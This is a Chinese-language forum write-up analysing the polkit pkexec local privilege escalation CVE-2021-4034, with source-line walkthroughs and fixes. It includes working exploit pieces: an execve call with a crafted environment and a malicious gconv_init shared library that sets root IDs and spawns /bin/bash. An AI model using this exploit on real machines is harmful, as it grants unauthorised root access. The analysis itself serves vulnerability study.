1.漏洞编号

CVE-2021-4034

2.影响范围

2021以前发行版

3.漏洞详情

此漏洞exp利用流程上来说,可以分为两个部分

1.设置恶意环境变量

2.通过恶意环境变量执行命令

3.1 设置恶意环境变量

pkexec 源码地址

https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

在533行,n被赋值为1

610行,存在越界读取,我们执行pkexec的时候,不传参数,argv数组只有默认的0下标,1是不存在

那么argv[1]是什么呢?

当我们执行一个程序时,内核会将我们的参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾;如下所示:

|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

因为argv和envp指针在内存中是连续的,那么argv[1]实际上指向的是envp[0]

通过给argv[1] 赋值就能修改环境变量

在632行,调用了g_find_program_in_path函数

根据glib的源码,这个函数是用来在PATH中搜索传参的绝对路径的,比如传参id,返回是/usr/bin/id,然后在639行将返回值越界写入了argv[1],也就是第一个环境变量

根据这个流程,我们使用如下代码,可以做到设置恶意环境变量

shell创建文件夹 mkdir GCONV_PATH\=.,在目录中创建test文件

char *a_argv[]={ NULL };
char *a_envp[]={
        "test",
        "PATH=GCONV_PATH=.",
        NULL
    };
execve("/usr/bin/pkexec", a_argv, a_envp);

经过g_find_program_in_path函数以后,在我们创建的畸形目录中搜索到了test文件,此时envp[0]的的值为GCONV_PATH=./test

恶意环境变量完成,然后这里就有一个问题,我们费劲巴拉搞半天,就为了把GCONV_PATH设置到环境变量,为什么不直接通过execve函数把环境变量传进入呢?

当时这里我也没理解,后来看先知上的23R3F师傅的文章才搞懂了,linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量。

我们可以测试一下,id为没有赋予suid权限,成功输出了hello。

pkexec有suid权限,LD_PRELOAD其实是没有生效的。

我个人的理解就是,在linux里面定义的这些敏感环境变量,除非suid程序自己本身setenv了,否则外部是无效的

3.2通过恶意环境变量执行命令

走到670行,

用for遍历environment_variables_to_save作key,去环境变量中取值

然后传给函数validate_environment_variable,此函数是检测shell是否合法的,需要通过这个函数来触发关键函数g_printerrr

有两种方法,传环境变量SHELL=test,或者走第二个if,XAUTHORITY=..

g_printerr中间接调用了linux的iconv_open函数,调用链如下

strdup_convert() <- glib/gmessages.c:1126
g_convert_with_fallback() <- glib/gmessages.c:676
g_convert() <- glib/gconvert.c:972
open_converter() <- glib/gconvert.c:876
g_iconv_open() <- glib/gconvert.c:637
try_conversion() <- glib/gconvert.c:260
iconv_open() <- glib/gconvert.c:208

iconv_open函数会根据环境变量中的GCONV_PATH的目录下的gconv-modules文件

文件内容如下

表示UTF-8转换到LANYI编码,需要用到lanyi.so,1表示表示转换成本的数值。如果缺少该单词,则假定成本为1,我们将恶意的lanyi.so放到当前目录下,然后通过网上的一段demo来测试是否能正常加载so

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iconv.h>

int main(int argc, char **argv)
{
  /* 目的编码, TRANSLIT:遇到无法转换的字符就找相近字符替换
   *          IGNORE  :遇到无法转换字符跳过*/
  //char *encTo = "UNICODE//TRANSLIT";
  setenv("GCONV_PATH", "./", 1);
  char *encTo = "LANYI";
  /* 源编码 */
  char *encFrom = "UTF-8";

  /* 获得转换句柄
   *@param encTo 目标编码方式
   *@param encFrom 源编码方式
   *
   * */
  iconv_t cd = iconv_open (encTo, encFrom);
  if (cd == (iconv_t)-1)
  {
      perror ("iconv_open");
  }

  /* 需要转换的字符串 */
  char inbuf[1024] = "abcdef哈哈哈哈行"; 
  size_t srclen = strlen (inbuf);
  /* 打印需要转换的字符串的长度 */
  printf("srclen=%d\n", srclen);

  /* 存放转换后的字符串 */
  size_t outlen = 1024;
  char outbuf[outlen];
  memset (outbuf, 0, outlen);

  /* 由于iconv()函数会修改指针,所以要保存源指针 */
  char *srcstart = inbuf;
  char *tempoutbuf = outbuf;

  /* 进行转换
   *@param cd iconv_open()产生的句柄
   *@param srcstart 需要转换的字符串
   *@param srclen 存放还有多少字符没有转换
   *@param tempoutbuf 存放转换后的字符串
   *@param outlen 存放转换后,tempoutbuf剩余的空间
   *
   * */
  size_t ret = iconv (cd, &srcstart, &srclen, &tempoutbuf, &outlen);
  if (ret == -1)
  {
      perror ("iconv");
  }
  printf ("inbuf=%s, srclen=%d, outbuf=%s, outlen=%d\n", inbuf, srclen, outbuf, outlen);
  int i = 0;
  for (i=0; i<strlen(outbuf); i++)
  {
      printf("%x\n", outbuf[i]);
  }
/* 关闭句柄 */
  iconv_close (cd);

  return 0;
}

hello被成功执行,我的so没有实现gonv_init函数,所以报错了

exp:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(){
    return;
}

void gconv_init() {
    setuid(0); 
    seteuid(0); 
    setgid(0);
    setegid(0);
    static char *a_argv[] = {"bash", NULL };
    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execve("/bin/bash", a_argv, a_envp);
    exit(0);
}

编译gcc -o lanyi.so -shared -fPIC lanyi.c

然后按照前面的流程,越界写入环境变量即可,执行so文件

到这里还要一个问题,为什么漏洞发现者要选择GCONV_PATH这个相对来说比较复制的变量,而不选择LD_PRELOAD这个利用起来更简单的变量呢?

是因为LD_PRELOAD定义的so文件,这个加载的过程是在程序执行前执行,而pkexec已经启动了再设置变量是无效的。

那么就有了一个新问题,为什么php可以用过设置LD_PRELOAD来进行bypass_functions

当时因为被这个问题搞迷糊了,就问了一下p牛。是因为PHP在设置了LD_PRELOAD后,又fork了新进程(使用popen),此时父进程的环境变量会被新进程继承,在这个阶段LD_PRELOAD被利用了。所以如果PHP里不执行mail这类可以fork新进程的函数,也是不能利用LD_PRELOAD的。

看一下php源码,确实是popen启动的

3.3漏洞复现

4.漏洞修复

1.更新到polkit最新版本

2.取消pkexec的suid权限

5.参考文章

https://saucer-man.com/information_security/876.html
https://xz.aliyun.com/t/10870

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖